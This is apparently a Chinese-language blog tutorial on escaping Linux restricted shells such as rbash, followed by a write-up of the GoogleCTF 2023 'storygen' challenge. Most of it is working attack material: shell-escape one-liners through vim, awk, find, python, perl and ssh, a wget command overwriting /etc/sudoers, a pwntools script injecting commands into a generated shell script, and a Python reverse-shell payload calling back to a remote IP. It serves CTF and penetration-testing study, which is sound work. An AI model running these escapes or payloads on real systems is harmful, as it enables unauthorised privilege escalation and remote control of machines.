前言
linux 中有很多受限的 shell,例如 rbash、rzsh、rksh,这些 shell 是一些具有限制功能的特殊 shell。它们通常用于实施系统安全策略,限制用户的行为和访问权限。例如禁止用户更改当前目录、禁止使用绝对路径执行命令、限制环境变量设置等。在一些命令注入的情况下,也会存在一些非常规的利用场景。
参考文章 Linux Restricted Shell Bypass - VK9 Security 和近期 googleCTF 2023 中遇到的题目,在此对绕过限制条件执行 shell 命令的利用方式进行一个总结。
信息收集
当我们处于一个受限的 shell 环境下,首先要做的就是尽可能多地收集环境信息。
确定当前 shell
可以通过输出 $0
确定当前所处的 shell.
echo $0
寻找可用命令
从 PATH 中获取可执行文件可能存在的路径。
echo $PATH
获取到路径之后可以枚举路径下的可执行程序。
ls /usr/bin
ls /bin
需要注意其中是否存在 python、perl、ruby、expect 等编程语言相关的程序。
查找 SUID 文件
find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -perm -4000 -type f -print 2>/dev/null
检查是否可以枚举 sudo 命令
检查当前用户是否可以通过输入密码枚举 sudo 命令。
echo "xxxx" | sudo -S -l
检查重定向、管道符是否可用
echo 111 | base64
echo 111 > /tmp/1
检查"';${
是否可用
常见利用
常见可执行程序
直接运行 /bin/bash
rbash 可能会限制对其他目录的访问,如果当前 shell 允许访问根目录,可以尝试直接运行 /bin/sh 或者 /bin/bash 切换 shell。
/bin/sh
/bin/bash
拷贝 /bin/bash
rbash 中可能会限制 cp 拷贝操作,但如果可以进行拷贝,则可以尝试将 /bin/sh 或者 /bin/bash 拷贝到当前目录。
cp /bin/bash .
ftp
ftp 中使用 !/bin/sh
可以切换到对应的 shell。
┌──(kali㉿kali)-[~]
└─$ echo $0
/usr/bin/zsh
┌──(kali㉿kali)-[~]
└─$ ftp
ftp> !/bin/sh
$ echo $0
/bin/sh
$
gdb
gdb 中也可以通过 !/bin/sh
切换到指定 shell
gdb
!/bin/bash
vim
vim
!/bin/bash or !/bin/sh or :set shell=/bin/bash
rvim
rvim
:python import os;os.system("/bin/bash")
scp
scp -S /path/your/script x y:
假设当前目录存在一个 test.sh
#!/bin/bash
touch /tmp/bbb
运行下面的命令可以无回显执行这个脚本:
scp -S ./test.sh x y:
awk
awk 的 system 关键字可以执行系统命令。BEGIN 是 awk 的特殊模式,用于在处理文本之前执行一次性的初始化操作。
awk 'BEGIN {system("/bin/sh")}'
find
find 的 exec 参数可以执行系统命令,下面的命令执行后,一旦匹配到 test,则会进入一次 sh
find / -name test -exec /bin/sh \;
find / -name test -exec /bin/whoami --help \;
mutt
mutt
!
/bin/sh
ed
└─$ ed
!'/bin/sh'
$
more
echo "111" | less
!'/bin/sh'
man
man ls
!'/bin/sh'
pinfo
pinfo ls
!
ls /etc
ssh
ssh 远程连接可以直接指定 shell
ssh username@IP -t '/bin/sh'
ssh username@IP -t "bash -noprifile"
假设当前目录存放了一个利用脚本 test.sh ,使用下面的命令可以无回显执行这个脚本:
ssh -o ProxyCommand="sh -c ./test.sh" 127.0.0.1
git
git help status
!/bin/sh
pico & nano
CTRL + T 可以直接执行 shell 命令
nano
CTRL + T
ls
env
env -S whoami --help
wget
远程下载,覆盖任意 sudoers 文件
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
sed
sed 的 exec 也可以执行命令 =
sed '1e exec "ls" "-al"'
利用语言解析引擎
expect
expect spawn sh
sh
python
python 可以直接导入 os 执行 sh
python -c '__import("os").system("/bin/sh")'
也可以通过 help 函数,breakpoint 函数进入 shell 环境。 输入 help() 之后进入 help 命令行,在输入一个模块进入该模块的帮助文档。
help> os
然后在输入 !sh
就可以拿到 /bin/sh, 输入 !bash
则可以拿到 /bin/bash
使用 - 可以进入交互式命令行。
python - 111
注意,下面的 payload 也可以执行。
python '-c__import__("os").system("ls")'
-c 参数可以直接连接 python 代码,如果某些场景只能输入一个参数,就可以通过这种方式传入。很多 linux 二进制都有这个特性,参数名可以直接连接参数值。例如 mysql
mysql -uroot -proot
php
php -a
exec("sh -i")
perl
perl -e 'exec "/bin/sh"'
lua
lua
os.execute('/bin/sh')
ruby
irb
exec 'bin/sh'
参数注入场景
还有一些命令注入的场景,其限制在于限定了可执行程序,用户只能够输入参数,例如如下的代码:
<?php
system("tar ".escapeshellcmd($_GET['cmd']));
?>
上面的代码限定了只能够使用 tar 命令,用户的输入仅作为参数传入。
GTFOBins
GTFOBins 项目收集了大量 linux 中二进制程序的攻击利用,通常用于参数注入或者绕过受限 shell 环境执行命令,项目地址:GTFOBins,上面说到的命令几乎都有覆盖。
GoogleCTF 2023 storygen
这道题目提供的附件如下:
import time
import os
time.sleep(0.1)
print("Welcome to a story generator.")
print("Answer a few questions to get started.")
print()
name = input("What's your name?\n")
where = input("Where are you from?\n")
def sanitize(s):
return s.replace("'", '').replace("\n", "")
name = sanitize(name)
where = sanitize(where)
STORY = """
#@NAME's story
NAME='@NAME'
WHERE='@WHERE'
echo "$NAME came from $WHERE. They always liked living there."
echo "They had 3 pets:"
types[0]="dog"
types[1]="cat"
types[2]="fish"
names[0]="Bella"
names[1]="Max"
names[2]="Luna"
for i in 1 2 3
do
size1=${#types[@]}
index1=$(($RANDOM % $size1))
size2=${#names[@]}
index2=$(($RANDOM % $size2))
echo "- a ${types[$index1]} named ${names[$index2]}"
done
echo
echo "Well, I'm not a good writer, you can write the rest... Hope this is a good starting point!"
echo "If not, try running the script again."
"""
open("/tmp/script.sh", "w").write(STORY.replace("@NAME", name).replace("@WHERE", where).strip())
os.chmod("/tmp/script.sh", 0o777)
while True:
s = input("Do you want to hear the personalized, procedurally-generated story?\n")
if s.lower() != "yes":
break
print()
print()
os.system("/tmp/script.sh")
print()
print()
print("Bye!")
题目接收 name 和 where 两个参数的输入,替换内容后写入 /tmp/script.sh 并执行。
本地测试时可以使用 socat 进行部署。
socat tcp-l:6666,fork exec:"python chal.py",reuseaddr
题目中对单引号进行了过滤,因无法直接闭合变量 NAME 赋值语句,但脚本第一行可以拼接到 #
之后,可以通过 #!/bin/whoami
这样的形式注入命令。
注入之后,命令后方还存在一个's story
,可以使用 \0 进行截断。
发送脚本如下:
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
proc_name = "" # "./proc"
ld_path = "" # "./ld-linux-x86-64.so.2"
libc_path = "" # "./libc.so.6"
# ip_addr = "storygen.2023.ctfcompetition.com:1337" # "node4.buuoj.cn:28354"
ip_addr = "127.0.0.1:6666"
# ++++++++++++++++++++++++++++++++++++++++
if len(ip_addr):
p = remote(ip_addr.split(":")[0], int(ip_addr.split(":")[1]))
if len(libc_path):
libc = ELF(libc_path)
elif len(proc_name):
elf = ELF(proc_name)
if len(libc_path):
if len(ld_path):
p = process([ld_path, proc_name], env={"LD_PRELOAD": libc_path})
else:
p = process(proc_name, env={"LD_PRELOAD": libc_path})
libc = ELF(libc_path)
else:
p = process(proc_name)
libc = p.libc
# ++++++++++++++++++++++++++++++++++++++++
def int16(hexstr: str):
return int(hexstr, 16)
def r(numb: int = None):
return p.recv(numb)
def ru(delims: bytes):
return p.recvuntil(delims, drop=True)
def ra():
return p.recvall()
def s(data: bytes):
return p.send(data)
def sa(delim: str, data: bytes):
return p.sendafter(delim, data)
def sl(data: bytes):
return p.sendline(data)
def sla(delim: str, data: bytes):
return p.sendlineafter(delim, data)
def itr():
return p.interactive()
def leak(desc: str, addr: int):
return log.success(f"{desc} ==> {hex(addr)}")
def debug(gdbscript: str = "", terminal: str = ""):
if terminal == "tmux":
context.terminal = ["tmux", "splitw", "-h"]
gdb.attach(p, gdbscript)
pause()
# ++++++++++++++++++++++++++++++++++++++++
# debug("", "")
# fmt: off
# fmt: on
sla("What's your name?\n", b"!/bin/ls /\0'")
sla("Where are you from?\n", b"whoami")
sla("procedurally-generated story?\n", b"yes")
itr()
执行 ls \
时可以枚举根目录,但执行 whoami 时无法得到回显,并且得到如下的错误输出:
/bin/whoami: extra operand ‘/tmp/script.sh’
Try '/bin/whoami --help' for more information.
错误的原因在于这种场景下执行的脚本,会将脚本名 /tmp/script.sh
作为最后一个参数传入。 使用 echo 可以观察所有参数:
sla("What's your name?\n", b"!/bin/echo aaa\0'")
# aaa /tmp/script.sh
远程环境中,执行 cat /flag 会提示要求执行 /get_flag,执行后发现需要传入参数 Give flag please
, 但直接执行总会副加上 /tmp/script.sh
这个参数而导致失败:
sla("What's your name?\n", b"!/get_flag Give flag please\0'")
这样的环境也可以视为一个受限的环境,利用 awk、env 等命令包装一层就可以排除额外参数的干扰。 payload 如下:
sla("What's your name?\n", b"!/usr/bin/awk BEGIN {system(\"/get_flag Give flag please\")}\0'")
也可以使用 env -S
sla("What's your name?\n", b"!/usr/bin/env -S /get_flag Give flag please\0'")
本地测试时发现可以使用 python 直接进入交互式命令行.
sla("What's your name?\n", b"!/usr/bin/python3 -\0")
输入反弹 shell payload
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.137.98",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
结束 pwntools 的交互之后,可以接收到反弹 shell
connect to [192.168.137.98] from (UNKNOWN) [192.168.137.98] 53464
$ ls
但这种方式在目标上无法成功,原因不详。
除了交互式命令行,也可以使用 -c,但注意需要将 -c 与 python 代码连接在一起,作为一个参数进行传入.
sla("What's your name?\n", b"!/usr/bin/python -c__import__(\"os\").system(\"/get_flag Give flag please\")\0'")